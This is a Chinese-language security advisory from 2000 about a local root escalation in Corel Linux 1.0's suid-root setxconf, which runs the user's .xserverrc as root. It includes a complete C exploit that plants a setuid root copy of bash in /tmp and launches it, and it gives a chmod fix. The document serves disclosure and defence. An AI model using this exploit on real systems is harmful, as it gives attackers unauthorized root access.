发布日期：2000-06-21
更新日期：2000-06-21

受影响系统：

  xconf package
     - Corel Linux 1.0

不受影响系统：

描述：

---

Corel Linux 1.0 所带的xconf工具包中有个setxconf文件，缺省它是设置了suid root
位的，在运行的时候，它会执行用户的$HOME/.xserverrc文件，但并没有丢弃root权限，
因此，本地用户可以在.xserverrc文件中添加任意命令，它们将被以root身份执行。这将
导致本地用户获取root权限。

<* 来源: wC (wildcoyote@gk-team.org）
         suid@suid.kg
*>







测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*

  SetXConf Exploit (corel 1.0) by wC (wildcoyote@gk-team.org

  Advisorie: It is possible for any local user to run a command as
             r00t on a vulnerable box! (running corel linux 1.0 with
             xconf utils)
                                                    by suid@suid.kg

  Greetz to Genetik Technologies www.gk-team.org!
*/

#include <stdio.h>
#include <strings.h>

#define setxconfpath "/sbin/setxconf"
main()
{
char buf[256];
FILE *fx;
printf("\n\tSetXConf Local Exploit by wC (wildcoyote@gk-team.org)\n\n");
printf("Setting up the SetXConf .xserverrc file...");
system("cd $HOME");
remove(".xserverrc");
fx=fopen(".xserverrc","a");
fputs("cp /bin/bash /tmp/own3d; chmod 6777 /tmp/own3d",fx);
fclose(fx);
printf("DONE!\n");
sprintf(buf,"%s -T",setxconfpath);
printf("Running %s...",setxconfpath);
system(buf);
printf("DONE!\n");
printf("Checking if we have a own3d shell at /tmp/own3d...\n");
if ((fx=fopen("/tmp/own3d","r"))==NULL)
{
  printf("DAMN :| no own3d shell...\n");
  printf("Exiting...\n");
  printf("Greetz to Genetik Technologies crew! www.gk-team.org\n\n");
  exit(-1);
}
else
{
  fclose(fx);
  printf("KEWL! =) Prepare to be r00t =)\n");
  system("/tmp/own3d");
  printf("Heh..hope you liked it :P\n");
  printf("Removing /tmp/own3d...\n");
  remove("/tmp/own3d");
  printf("Exiting...\n");
  printf("Greetz to Genetik Technologies crew! www.gk-team.org\n\n");
}
}


建议：

---

临时解决办法：

chmod a-s /sbin/setxconf




浏览次数：6398
严重程度：0（网友投票）